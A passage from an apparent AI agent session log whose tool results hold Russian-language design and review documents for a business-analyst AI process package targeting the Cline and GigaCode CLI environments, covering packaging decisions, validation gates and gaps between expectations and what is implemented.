\u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c route \u0447\u0435\u0440\u0435\u0437 runner. \u041f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0411\u0410 \u0432\u0438\u0434\u0438\u0442 \u0443\u0437\u0435\u043b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043a\u043e\u043c\u0430\u043d\u0434\u0443/exit code \u0433\u0435\u0439\u0442\u0430 \u0438 Markdown checkpoint; \u043f\u0440\u0438 FAIL \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u0414\u043b\u044f Release \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 Working, `validate-working`, `compile`, `validate-release`, human review.\\n\\n## \u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b 2 \u043f\u043e review PR #616 (2026-09-26)\\n\\n## Summary\\n\\n**\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f:** \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043e\u0434\u0438\u043d Source \u0438 \u0434\u0432\u0430 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430 \u0441\u0440\u0435\u0434\u044b, \u043f\u043e\u043a\u0430 \u043f\u0430\u0440\u043d\u044b\u0439\\n\u043f\u0438\u043b\u043e\u0442 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0435 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e. \u0412 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0441\u0440\u0435\u0437\u0435\\n\u043e\u0431\u0449\u0438\u0439 BCREQ-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u0432 \u0434\u0432\u0443\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432, \u0430 \u0441\u0445\u0435\u043c\u044b Working\\n\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c `$id` \u043f\u0430\u043a\u0435\u0442\u0430. \u041d\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438\u043c\u0435\u044e\u0442 \u0440\u0430\u0437\u043d\u0443\u044e \u043f\u043e\u043b\u043d\u043e\u0442\u0443:\\nGigaCode CLI \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 `A-IN \u2192 A-CORE \u2192 BCREQ`, Cline \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 `Working \u2192 Release`. \u042d\u0442\u043e \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e **\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0430 \u043e\u0431\u0449\u0435\u0433\u043e \u044f\u0434\u0440\u0430**,\\n\u0430 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0440\u0430\u0432\u0435\u043d\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438\u043b\u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438\\n\u0431\u043e\u0435\u0432\u043e\u0433\u043e Cline-\u043f\u0438\u043b\u043e\u0442\u0430. \u041e\u0434\u0438\u043d \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439\\n\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u0435; \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0434\u0432\u0443\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n\\n## Motivation\\n\\n\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 [\u0434\u0438\u0430\u043b\u043e\u0433 \u0438\u0437 issue #630](https://github.com/user-attachments/files/32743482/2.280926.txt)\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 20 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0439 \u043e Cline-\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u0445. \u0422\u0430\u043c \u0436\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\\n\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438: \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043c\u043e\u0434\u0435\u043b\u0438, \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 Source, \u0437\u0430\u0442\u0435\u043c\\n\u0444\u0438\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439. \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u044e\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0430, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0435\\n\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b. \u0418\u0445 \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u0432 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0431\u0435\u0437\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043c\u043e\u0433 \u0431\u044b \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0435\u0449\u0451 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0443\u044e.\\n\\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e [\u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u0425\u0430\u0431\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/concept.md)\\n\u0438 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\nSource \u0445\u0440\u0430\u043d\u0438\u0442 \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0438 \u043e\u0431\u0449\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c, Distribution \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f runtime \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0438\u043b\u043e\u0442\\n\u0434\u043e\u043b\u0436\u0435\u043d \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0442\u044c \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043d\u0443\u044e \u0444\u043e\u0440\u043c\u0443, \u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c\\n\u043a\u0430\u0436\u0434\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432\u0442\u043e\u0440\u044b\u043c Source.\\n\\n## Goals and Non-goals\\n\\n=== docs/analysis/2026-09-29-cline-package-expectation-gap.md\\n\\n# \u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u043e \u043f\u0430\u043a\u0435\u0442\u0443 Cline VS Code\\n\\n> **\u0412\u0435\u0440\u0441\u0438\u044f 0.2.** \u042d\u0442\u043e\u0442 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u043f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b\\n> (\u0441\u0440\u0435\u0434\u0430 2). \u041f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620)\\n> \u043e\u0445\u0432\u0430\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d \u0434\u043e \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u0441\u0440\u0435\u0434 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f n8n \u0438\\n> \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 4: [\u00ab\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n> \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-26\u2026\u0413-54.\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n**\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u0435\u0440\u043d\u043e\u0435, \u0438 \u043f\u0430\u043a\u0435\u0442 \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435, \u043d\u043e \u043d\u0435 \u043a \u0440\u0430\u0431\u043e\u0442\u0435\\n\u00ab\u043d\u0430 \u0436\u0438\u0432\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0431\u0435\u0437 \u043f\u0440\u0438\u0441\u043c\u043e\u0442\u0440\u0430\u00bb.** \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u2014 \u0441\u0431\u043e\u0440\u043a\u0430 \u0438\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u2014 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e (\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\n[\u0413-16](#\u0433-16)). \u0420\u0430\u0437\u0440\u044b\u0432 \u0441 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\u043c\u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043d\u0435 \u0432 \u043d\u0435\u0439, \u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u043d\u0435\u0451:\\n\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f, \u043f\u043e\u0438\u0441\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430\\n\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\\n\u0442\u0435\u043a\u0441\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430 \u043a\u043e\u0434\u0435.\\n\\n\u0418\u0437 \u0448\u0435\u0441\u0442\u0438 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043e\u0434\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e (\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u2014 \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e\\n\u0434\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430), \u0442\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0438 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u043c\u043e\u0434\u0435\u043b\u0438, \u0434\u0432\u0430 \u043d\u0435\\n\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b (\u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0438 \u0432\u044b\u0431\u043e\u0440 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n\u043a\u0430\u043a \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435). \u0413\u043b\u0430\u0432\u043d\u044b\u0435 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b:\\n\\n1. **\u0421\u043c\u0435\u0448\u0435\u043d\u0438\u0435 \u0442\u0440\u0451\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439** \u2014 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 (\u0442\u0435\u043e\u0440\u0438\u0438), \u043f\u0430\u043a\u0435\u0442\u0430\\n   (\u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0443\u0437\u043a\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430) \u0438 \u0430\u0433\u0435\u043d\u0442\u0430 (LLM \u0441 \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b). \u041e\u0442\\n   \u043f\u0430\u043a\u0435\u0442\u0430 \u043e\u0436\u0438\u0434\u0430\u044e\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0442\u0435\u043e\u0440\u0438\u0438, \u0430 \u043e\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u2014 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u043a\u043e\u0434\u0430.\\n2. **\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u00ab\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u043e\u0435 \u2192 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435\u00bb \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043f\u043e Working JSON, \u043d\u043e\\n   \u043f\u043e\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u0442\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0442\u0430 \u0436\u0435 \u043c\u043e\u0434\u0435\u043b\u044c.**\\n   `semantic_review`, `approval` \u0438 `retrieval_status: \\\"read\\\"` \u2014\\n   \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f\\n   \u0441\u0443\u043c\u043c\u0430 \u0446\u0438\u0442\u0430\u0442\u044b \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0443 \u043d\u0435 \u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043d\u043e \u043d\u0435\\n   \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0430 \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 ([\u0413-17](#\u0433-17), [\u0413-18](#\u0433-18)).\\n3. **\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0434\u043b\u044f \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u0430, \u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c\\n   \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0444\u0440\u0430\u0437\u043e\u0439 \u0432 \u0447\u0430\u0442\u0435** \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0430\u043a\u0435\u0442 \u0441\u0430\u043c \u0443\u0447\u0438\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\\n   \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c `AGENTS.md` \u0441\u0432\u043e\u0438\u043c \u00ab\u0432\u0435\u043a\u0442\u043e\u0440\u043e\u043c\u00bb ([\u0413-04](#\u0433-04), [\u0413-23](#\u0433-23)).\\n4. **\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0444\u043e\u0440\u043c\u0435 \u0434\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u044b** (\u043e\u0434\u043d\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON\\n   \u0441 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438), \u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c\\n   \u043c\u043e\u0434\u0435\u043b\u0438 ([\u0413-19](#\u0433-19)).\\n5. **\u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0438 hooks \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u043e\u0434 Cline v3, \u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u0442\u0430\u0432\u0438\u0442 v4.**\\n   \u0412 v4.1.21 \u0434\u0440\u0443\u0433\u0438\u0435 \u0438\u043c\u0435\u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0443\u043d\u043a\u0442\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439, \u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\\n   \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u0431\u0435\u0437 \u0432\u043e\u043f\u0440\u043e\u0441\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\\n   Windows \u0441\u0435\u0439\u0447\u0430\u0441 \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f, \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u0431\u044b \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c\\n   \u0447\u0442\u0435\u043d\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 ([\u0413-11](#\u0433-11), [\u0413-25](#\u0433-25)).\",\n[2026-09-29T07:45:25.666Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:25.666Z] [INFO]       }\n[2026-09-29T07:45:25.666Z] [INFO]     ]\n[2026-09-29T07:45:25.666Z] [INFO]   },\n[2026-09-29T07:45:25.666Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:25.666Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:25.666Z] [INFO]   \"uuid\": \"c0f32a21-1c76-4e7a-a3b9-9413aa8e615e\",\n[2026-09-29T07:45:25.666Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:25.654Z\",\n[2026-09-29T07:45:25.666Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:45:25.666Z] [INFO]     \"stdout\": \"## Decision\\n\\n\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c GigaCode CLI \u043a\u0430\u043a **\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e** \u0441\u0440\u0435\u0434\u0443 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c \u0438 \u0431\u0435\u0437 API Mango AI. \u0420\u0430\u0431\u043e\u0447\u0430\u044f \u0441\u0442\u0430\u043d\u0446\u0438\u044f \u0411\u0410 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 GigaCode CLI \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 Python; \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439 Confluence MCP \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e CLI. \u041d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c skill \u0438\u043b\u0438 \u0433\u0440\u0430\u0444 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c, \u043f\u043e\u043a\u0430 \u0437\u0430\u043f\u0443\u0441\u043a \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0438 \u0433\u0435\u0439\u0442\u0430 \u043d\u0435 \u0432\u044b\u043d\u0435\u0441\u0435\u043d \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c CLI.\\n\\n\u0414\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 `execution-package-gigacode-cli` \u0432 Source \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 `tools/run-task` (\u0442\u043e\u0447\u043d\u043e\u0435 \u0438\u043c\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f): \u043e\u043d \u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0439 `TASK_ID` \u0438 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0440\u0435\u0431\u0440\u043e, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 gate \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 exit code \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0410\u0433\u0435\u043d\u0442 